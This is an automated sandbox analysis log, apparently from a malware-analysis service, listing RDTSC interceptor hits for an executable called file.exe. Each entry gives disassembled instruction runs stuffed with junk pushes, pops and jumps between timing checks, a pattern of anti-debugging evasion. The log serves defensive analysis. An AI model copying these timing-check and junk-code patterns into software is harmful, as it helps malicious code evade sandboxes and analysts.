Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4BE3 second address: DB4BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 ja 00007FB698BF2C46h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4BF1 second address: DB4BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB698CE01E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4BFC second address: DB4C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FB698BF2C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4C06 second address: DB4C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4C12 second address: DB4C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB698BF2C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3590 second address: DB3598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3598 second address: DB35B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C55h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB35B5 second address: DB35BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB35BD second address: DB35CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FB698BF2C46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB35CA second address: DB35D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB35D5 second address: DB35DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB35DB second address: DB35E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3864 second address: DB3869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3869 second address: DB386F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB386F second address: DB3877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3B19 second address: DB3B4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB698CE01F0h 0x00000008 jmp 00007FB698CE01F7h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3B4C second address: DB3B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3B52 second address: DB3B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FB698CE01F7h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3B74 second address: DB3B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3B7A second address: DB3B84 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB698CE01E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3CF5 second address: DB3CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB3CFB second address: DB3D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DC8987 second address: DC898C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DC898C second address: DC89A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB698CE01EEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DC89A1 second address: DC89CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB698BF2C4Ch 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB698BF2C51h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DC89CF second address: DC89D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD6390 second address: DD6394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD6394 second address: DD63B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EEh 0x00000007 jmp 00007FB698CE01EDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD63B3 second address: DD63C7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB698BF2C4Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD63C7 second address: DD63CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD6515 second address: DD652A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FB698BF2C4Eh 0x0000000d push eax 0x0000000e pop eax 0x0000000f jng 00007FB698BF2C46h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD652A second address: DD6534 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB698CE01F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD6534 second address: DD653A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEFEDF second address: DEFEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEFEE3 second address: DEFEE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF01AF second address: DF01C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB698CE01E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF0478 second address: DF047D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF047D second address: DF0483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF0483 second address: DF0489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF088C second address: DF0894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF0894 second address: DF0899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF0899 second address: DF089E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF089E second address: DF08A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF08A4 second address: DF08CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB698CE01F1h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 jng 00007FB698CE01E6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF08CA second address: DF08CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3B95 second address: DF3BFA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jg 00007FB698CE01E6h 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 jng 00007FB698CE01F2h 0x0000001a js 00007FB698CE01ECh 0x00000020 mov edx, dword ptr [ebp+125199BCh] 0x00000026 push 00000004h 0x00000028 jng 00007FB698CE01ECh 0x0000002e or dword ptr [ebp+122D2371h], edi 0x00000034 call 00007FB698CE01E9h 0x00000039 jmp 00007FB698CE01ECh 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007FB698CE01F6h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3BFA second address: DF3BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3BFF second address: DF3C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB698CE01E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3C09 second address: DF3C38 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FB698BF2C4Dh 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f ja 00007FB698BF2C48h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3C38 second address: DF3C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB698CE01E6h 0x00000009 je 00007FB698CE01E6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push esi 0x00000017 jns 00007FB698CE01ECh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3E69 second address: DF3E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3E6D second address: DF3EC5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB698CE01E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FB698CE01F8h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnp 00007FB698CE01F2h 0x0000001c jbe 00007FB698CE01ECh 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FB698CE01F9h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3EC5 second address: DF3ECC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF50E0 second address: DF50E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF50E6 second address: DF50EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF68B2 second address: DF68B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF68B6 second address: DF68D2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB698BF2C46h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FB698BF2C48h 0x00000012 jp 00007FB698BF2C4Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF893A second address: DF895E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 js 00007FB698CE01E6h 0x0000000f jmp 00007FB698CE01F1h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF895E second address: DF8964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF8964 second address: DF8983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB698CE01E6h 0x0000000a jno 00007FB698CE01E6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FB698CE01E6h 0x00000019 jne 00007FB698CE01E6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490F00 second address: 5490F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490F06 second address: 5490F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490F0B second address: 5490F8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FB698BF2C4Bh 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FB698BF2C54h 0x00000018 or cx, F498h 0x0000001d jmp 00007FB698BF2C4Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FB698BF2C58h 0x00000029 adc ax, 9EF8h 0x0000002e jmp 00007FB698BF2C4Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FB698BF2C55h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480D18 second address: 5480D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480D1C second address: 5480D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480D20 second address: 5480D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D0008 second address: 54D000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D000C second address: 54D0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D0012 second address: 54D003A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 mov bx, A49Ch 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D003A second address: 54D0040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D0040 second address: 54D0062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB698BF2C55h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D0062 second address: 54D0068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D0068 second address: 54D0087 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB698BF2C4Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D0087 second address: 54D0096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54D0096 second address: 54D00AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698BF2C54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54600AC second address: 5460139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB698CE01F7h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FB698CE01F9h 0x0000000f sbb ecx, 2CA51386h 0x00000015 jmp 00007FB698CE01F1h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ebp 0x0000001f jmp 00007FB698CE01EEh 0x00000024 push eax 0x00000025 pushad 0x00000026 jmp 00007FB698CE01F1h 0x0000002b pushad 0x0000002c mov ax, 2EE9h 0x00000030 popad 0x00000031 popad 0x00000032 xchg eax, ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push edx 0x00000037 pop esi 0x00000038 jmp 00007FB698CE01EDh 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460139 second address: 5460177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007FB698BF2C4Ch 0x00000011 mov dh, ah 0x00000013 pop edi 0x00000014 movzx esi, bx 0x00000017 popad 0x00000018 push dword ptr [ebp+04h] 0x0000001b pushad 0x0000001c mov edi, 50EC4D48h 0x00000021 popad 0x00000022 push dword ptr [ebp+0Ch] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460177 second address: 546017B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 546017B second address: 546017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 546017F second address: 5460185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460185 second address: 546018B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 546018B second address: 546018F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 546018F second address: 54601C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FB698BF2C52h 0x00000012 add si, B2D8h 0x00000017 jmp 00007FB698BF2C4Bh 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f mov cx, 4425h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480A5F second address: 5480A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480A65 second address: 5480A99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB698BF2C50h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB698BF2C4Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480A99 second address: 5480ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB698CE01F0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480ABD second address: 5480AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549019F second address: 54901BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54901BC second address: 54901C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A033B second address: 54A036F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 mov eax, 2D61FD07h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e and dword ptr [eax+04h], 00000000h 0x00000012 pushad 0x00000013 push esi 0x00000014 mov eax, edx 0x00000016 pop edx 0x00000017 mov ah, 35h 0x00000019 popad 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB698CE01F5h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A036F second address: 54A0384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490E40 second address: 5490E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490E46 second address: 5490E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
